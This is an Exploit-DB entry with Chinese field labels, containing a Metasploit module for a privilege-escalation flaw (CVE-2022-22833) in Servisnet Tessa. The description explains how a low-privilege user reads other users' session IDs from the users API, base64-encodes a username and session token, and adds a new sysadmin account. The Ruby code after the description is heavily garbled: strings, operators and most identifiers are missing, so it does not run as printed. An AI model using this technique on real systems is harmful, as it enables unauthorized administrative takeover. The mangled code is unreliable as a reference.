标题: Servisnet Tessa - Privilege Escalation (Metasploit) EDB-ID: 50712 CVE: 2022-22833 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2022-02-04 漏洞利用脚本: ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Servisnet Tessa - Privilege Escalation (Metasploit)',
      'Description'    => %q(
        This module exploits privilege escalation in Servisnet Tessa, triggered by add new sysadmin user with any user authorization .
  An API request to "/data-service/users/[userid]" with any low-authority user returns other users' information in response.
                 encrypted password information is included here but privilage escelation is possible with the active sessionid value

                var token  `$userusername$userusersessionid` 

                 logic required  the  header is as above
                 after accessing an authorized user  value  active sessionId value 
                 the username  sessionId values are encoded with base64 a valid  will be obtained  a   user can be added  

      
           
        
             
             
             
        
               
        
           
        
               
        
       
        
            
              
        
    

    
    
           
            
    
  
  
   data string_to_split  
    word  data
    string  word
     string
    
  
   data string_to_split  
    word  data
    string  word
     string
   
  
   data string_to_split  
    word  data
    string  word
     string
   

   app_path
    res  
    
            target_uripath  
      
       
 
     res  rescode    resbody  
      data  resbody
      
      base_url  data  
       base_url
    
       
    
  

   token app_path
     newuser   
     id     
     
     json_data    newuser    id    newuser    newuser    newuser  

     res  
       
         
          
         target_uripath app_path 
        
         
             token
         
         json_data
      

       res  rescode    resbody  
        
        
        
      
         
      
  

   sessionid_check

    res  
    
            target_uripath  
      
       
 
     res  rescode    resbody   
           
 
    
 

  

   token userid app_path 

    res  
    
            target_uripath app_path  userid
       
         
             token
         
         
         

      res  rescode    resbody  
       
    

    loopid  useridto_i
      
    
       loopid  
       
      res  
       
               target_uripath app_path  
          
            
                token
            
            
         

        rescode    resbodyinclude  
         admin_uname  resbody 
         admin_sessid  resbody  
         admin_userid  resbody 
         enc_token    admin_uname    admin_sessid  
         token_admin    enc_token  
         
         
         
          token_admin admin_userid admin_uname  
           
         
        
     
  

   token userid user  
 
      res  
       
               target_uripath app_path  userid
          
            
                token
            
            
         

        res  rescode    resbody  
         
         token app_path
          
       
         
          
          
  

   user pass

     json_data    user    pass  

     res  
       
         
          
         target_uripath app_path   
         json_data
       
 
       res  rescode    resbody  
 sessid  resbody 
 userid  resbody 
   
 
        enc_token    user    sessid  
        token    enc_token  
 
        token userid app_path
 

      
         
      
  

   check  
 
     sessionid_check 
       
    
       
    
  
  
   run
       check
       
    
    datastore datastore URL: https://www.exploit-db.com/exploits/50712